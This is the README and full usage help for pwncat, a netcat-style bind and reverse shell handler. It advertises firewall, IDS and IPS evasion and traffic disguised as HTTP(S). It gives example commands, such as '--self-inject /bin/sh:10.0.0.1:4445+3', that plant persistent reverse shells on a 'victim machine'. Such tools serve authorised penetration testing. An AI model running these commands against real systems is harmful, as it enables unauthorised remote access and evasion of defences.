pwncat is a sophisticated bind and reverse shell handler with many features as well as a drop-in replacement or compatible complement to netcat, ncat or socat.
pwncat is like netcat on steroids with Firewall, IDS/IPS evasion, bind and reverse shell, self-injecting shell and forwarding magic - and its fully scriptable with Python (PSE)
Get it
Inject to target
If you found a vulnerability on the target to start a very simple reverse shell, such as via bash, php, perl, python, nc or similar, you can instruct your local pwncat listener to use this connection to deploy itself on the target automatically and start four additional unbreakable reverse shells back to you.
pwncat -l 4444 --self-inject /bin/sh:10.0.0.1:4445+3
In Action
Features
PSE
Fully Python scriptable with Pwncat Scripting Engine to allow all kinds of stuff on send and receive actions
Self-injecting reverse shell
Self-injecting mode to deploy itself and auto-start multiple unbreakable reverse shells back to you
Unbreakable reverse shell
Reverse shell will reconnect to you if you accidentally hit Ctrl+c
UDP reverse shell
This works by adding TCP-like stateful features to it. Try this with the traditional netcat
Bind shell
Create normal bind shells for any operating system over IPv4, IPv6 or both
Reverse shell
Create normal reverse shells for any operating system over IPv4, IPV6 or both
Port scanning with version detection
Built-in version detection while doing a TCP or UDP port scan.
Local port forward
Allows for stable local port forward by acting as a proxy server
SSH-less Remote port forward
Allows for stable remote port forward by acting as a double client proxy
Detect EGRESS firewalls
Scan and report outbound open ports via port hopping connections
Evade EGRESS firewalls
Evade EGRESS firewalls with outbound round-robin reverse shells
Evade IDS
Wrap your traffic into any other protocol or self-encrypt it
Evade IPS
Handle IPS by to choose new target ports on connection loss/cut
IPv4 and IPv6
IPv4 and IPv6 dual-stack support - autodetect whatever a server offers
TCP and UDP
Any feature is available via both protocols: TCP and UDP
Stateful UDP
Stateful connect phase for UDP client mode - allows your listener to detect a connecting client.
netcat / ncat compatibility
Use netcat or ncat exchangably with pwncat in server or client mode
All Python versions supported
pwncat works with Python 2,7, 3.5, 3.6, 3.7, 3.8 and even with pypy2 and pypy
No libraries required
pwncat is written only with Python core libraries to allow it to run without having to install something
Cross OS
Works and is tested on various Linux, MacOS and Windows versions - as long as Python is available
Artwork
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Usage
usage: pwncat [options] hostname port
pwncat [options] -l [hostname] port
pwncat [options] -z hostname port
pwncat [options] -L [addr:]port hostname port
pwncat [options] -R addr:port hostname port
pwncat -V, --version
pwncat -h, --help
Enhanced and compatible Netcat implementation written in Python (2 and 3) with connect, zero-i/o, listen and forward modes and techniques to detect and evade firewalls and intrusion detection/prevention systems. If no mode arguments are specified, pwncat will run in connect mode and act as a client to connect to a remote endpoint. If the connection to the remote endoint is lost, pwncat will quit. See options for how to automatically re- connect.
positional arguments:
hostname Address to listen, forward, scan or connect to.
port [All modes]
Single port to listen, forward or connect to.
[Zero-I/O mode]
Specify multiple ports to scan:
Via list: 4444,4445,4446
Via range: 4444-4446
Via incr: 4444+2
mode arguments:
-l, --listen [Listen mode]:
Start a server and listen for incoming connections.
If using TCP and a connected client disconnects or the
connection is interrupted otherwise, the server will
quit. See -k/--keep-open to change this behaviour.
-z, --zero [Zero-I/0 mode]:
Connect to a remote endpoint and report status only.
Used for port scanning.
See --banner for version detection.
-L [addr:]port, --local [addr:]port
[Local forward mode]:
This mode will start a server and a client internally.
The internal server will listen locally on specified
addr/port (given by --local [addr:]port).
The server will then forward traffic to the internal
client which connects to another server specified by
hostname/port given via positional arguments.
(I.e.: proxies a remote service to a local address)
-R addr:port, --remote addr:port
[Remote forward mode]:
This mode will start two clients internally. One is
connecting to the target and one is connecting to
another pwncat/netcat server you have started some-
where. Once connected, it will then proxy traffic
between you and the target.
This mode should be applied on machines that block
incoming traffic and only allow outbound.
The connection to your listening server is given by
-R/--remote addr:port and the connection to the
target machine via the positional arguments.
optional arguments:
-e cmd, --exec cmd Execute shell command. Only for connect or listen mode.
-C lf, --crlf lf Specify, 'lf', 'crlf' or 'cr' to always force replacing
line endings for input and outout accordingly. Specify
'no' to completely remove any line feeds. By default
it will not replace anything and takes what is entered
(usually CRLF on Windows, LF on Linux and some times
CR on MacOS).
-n, --nodns Do not resolve DNS.
--send-on-eof Buffer data received on stdin until EOF and send
everything in one chunk.
--no-shutdown Do not shutdown into half-duplex mode.
If this option is passed, pwncat won't invoke shutdown
on a socket after seeing EOF on stdin. This is provided
for backward-compatibility with OpenBSD netcat, which
exhibits this behavior.
-v, --verbose Be verbose and print info to stderr. Use -v, -vv, -vvv
or -vvvv for more verbosity. The server performance will
decrease drastically if you use more than three times.
--info type Show additional info about sockets, IPv4/6 or TCP opts
applied to the current socket connection. Valid
parameter are 'sock', 'ipv4', 'ipv6', 'tcp' or 'all'.
Note, you must at least be in INFO verbose mode in order
to see them (-vv).
-c str, --color str Colored log output. Specify 'always', 'never' or 'auto'.
In 'auto' mode, color is displayed as long as the output
goes to a terminal. If it is piped into a file, color
will automatically be disabled. This mode also disables
color on Windows by default. (default: auto)
--safe-word str All modes:
If pwncat is started with this argument, it will shut
down as soon as it receives the specified string. The
--keep-open (server) or --reconn (client) options will
be ignored and it won't listen again or reconnect to you.
Use a very unique string to not have it shut down
accidentally by other input.
protocol arguments:
-4 Only Use IPv4 (default: IPv4 and IPv6 dualstack).
-6 Only Use IPv6 (default: IPv4 and IPv6 dualstack).
-u, --udp Use UDP for the connection instead of TCP.
-T str, --tos str Specifies IP Type of Service (ToS) for the connection.
Valid values are the tokens 'mincost', 'lowcost',
'reliability', 'throughput' or 'lowdelay'.
--http Connect / Listen mode (TCP and UDP):
Hide traffic in http packets to fool Firewalls/IDS/IPS.
--https Connect / Listen mode (TCP and UDP):
Hide traffic in https packets to fool Firewalls/IDS/IPS.
-H [str [str ...]], --header [str [str ...]]
Add HTTP headers to your request when using --http(s).
command & control arguments:
--self-inject cmd:host:port[s]
Listen mode (TCP only):
If you are about to inject a reverse shell onto the
victim machine (via php, bash, nc, ncat or similar),
start your listening server with this argument.
This will then (as soon as the reverse shell connects)
automatically deploy and background-run an unbreakable
pwncat reverse shell onto the victim machine which then
also connects back to you with specified arguments.
Example: '--self-inject /bin/bash:10.0.0.1:4444'
It is also possible to launch multiple reverse shells by
specifying multiple ports.
Via list: --self-inject /bin/sh:10.0.0.1:4444,4445,4446
Via range: --self-inject /bin/sh:10.0.0.1:4444-4446
Via incr: --self-inject /bin/sh:10.0.0.1:4444+2
Note: this is currently an experimental feature and does
not work on Windows remote hosts yet.
pwncat scripting engine:
--script-send file All modes (TCP and UDP):
A Python scripting engine to define your own custom
transformer function which will be executed before
sending data to a remote endpoint. Your file must
contain the exact following function which will:
be applied as the transformer:
def transform(data, pse):
# NOTE: the function name must be 'transform'
# NOTE: the function param name must be 'data'
# NOTE: indentation must be 4 spaces
# ... your transformations goes here
return data
You can also define as many custom functions or classes
within this file, but ensure to prefix them uniquely to
not collide with pwncat's function or classes, as the
file will be called with exec().
--script-recv file All modes (TCP and UDP):
A Python scripting engine to define your own custom
transformer function which will be executed after
receiving data from a remote endpoint. Your file must
contain the exact following function which will:
be applied as the transformer:
def transform(data, pse):
# NOTE: the function name must be 'transform'
# NOTE: the function param name must be 'data'
# NOTE: indentation must be 4 spaces
# ... your transformations goes here
return data
You can also define as many custom functions or classes
within this file, but ensure to prefix them uniquely to
not collide with pwncat's function or classes, as the
file will be called with exec().
zero-i/o mode arguments:
--banner Zero-I/O (TCP and UDP):
Try banner grabbing during port scan.
listen mode arguments:
-k, --keep-open Listen mode (TCP only):
Re-accept new clients in listen mode after a client has
disconnected or the connection is interrupted otherwise.
(default: server will quit after connection is gone)
--rebind [x] Listen mode (TCP and UDP):
If the server is unable to bind, it will re-initialize
itself x many times before giving up. Omit the
quantifier to rebind endlessly or specify a positive
integer for how many times to rebind before giving up.
See --rebind-robin for an interesting use-case.
(default: fail after first unsuccessful try).
--rebind-wait s Listen mode (TCP and UDP):
Wait x seconds between re-initialization. (default: 1)
--rebind-robin port Listen mode (TCP and UDP):
If the server is unable to initialize (e.g: cannot bind
and --rebind is specified, it it will shuffle ports in
round-robin mode to bind to.
Use comma separated string such as '80,81,82,83', a range
of ports '80-83' or an increment '80+3'.
Set --rebind to at least the number of ports to probe +1
This option requires --rebind to be specified.
connect mode arguments:
--source-addr addr Specify source bind IP address for connect mode.
--source-port port Specify source bind port for connect mode.
--reconn [x] Connect mode (TCP and UDP):
If the remote server is not reachable or the connection
is interrupted, the client will connect again x many
times before giving up. Omit the quantifier to retry
endlessly or specify a positive integer for how many
times to retry before giving up.
(default: quit if the remote is not available or the
connection was interrupted)
This might be handy for stable TCP reverse shells ;-)
Note on UDP:
By default UDP does not know if it is connected, so
it will stop at the first port and assume it has a
connection. Consider using --udp-sconnect with this
option to make UDP aware of a successful connection.
--reconn-wait s Connect mode (TCP and UDP):
Wait x seconds between re-connects. (default: 1)
--reconn-robin port Connect mode (TCP and UDP):
If the remote server is not reachable or the connection
is interrupted and --reconn is specified, the client
will shuffle ports in round-robin mode to connect to.
Use comma separated string such as '80,81,82,83', a range
of ports '80-83' or an increment '80+3'.
Set --reconn to at least the number of ports to probe +1
This helps reverse shell to evade intrusiona prevention
systems that will cut your connection and block the
outbound port.
This is also useful in Connect or Zero-I/O mode to
figure out what outbound ports are allowed.
--ping-init Connect mode (TCP and UDP):
UDP is a stateless protocol unlike TCP, so no hand-
shake communication takes place and the client just
sends data to a server without being "accepted" by
the server first.
This means a server waiting for an UDP client to
connect to, is unable to send any data to the client,
before the client hasn't send data first. The server
simply doesn't know the IP address before an initial
connect.
The --ping-init option instructs the client to send one
single initial ping packet to the server, so that it is
able to talk to the client.
This is a way to make a UDP reverse shell work.
See --ping-word for what char/string to send as initial
ping packet (default: '\0')
--ping-intvl s Connect mode (TCP and UDP):
Instruct the client to send ping intervalls every s sec.
This allows you to restart your UDP server and just wait
for the client to report back in. This might be handy
for stable UDP reverse shells ;-)
See --ping-word for what char/string to send as initial
ping packet (default: '\0')
--ping-word str Connect mode (TCP and UDP):
Change the default character '\0' to use for upd ping.
Single character or strings are supported.
--ping-robin port Connect mode (TCP and UDP):
Instruct the client to shuffle the specified ports in
round-robin mode for a remote server to ping.
This might be handy to scan outbound allowed ports.
Use comma separated string such as '80,81,82,83', a range
of ports '80-83' or an increment '80+3'.
Use --ping-intvl 0 to be faster.
--udp-sconnect Connect mode (UDP only):
Emulating stateful behaviour for UDP connect phase by
sending an initial packet to the server to validate if
it is actually connected.
By default, UDP will simply issue a connect and is not
aware if it is really connected or not.
The default connect packet to be send is '\0', you
can change this with --udp-sconnect-word.
--udp-sconnect-word [str]
Connect mode (UDP only):
Change the the data to be send for UDP stateful connect
behaviour. Note you can also omit the string to send an
empty packet (EOF), but be aware that some servers such
as netcat will instantly quit upon receive of an EOF
packet.
The default is to send a null byte sting: '\0'.
misc arguments: -h, --help Show this help message and exit -V, --version Show version information and exit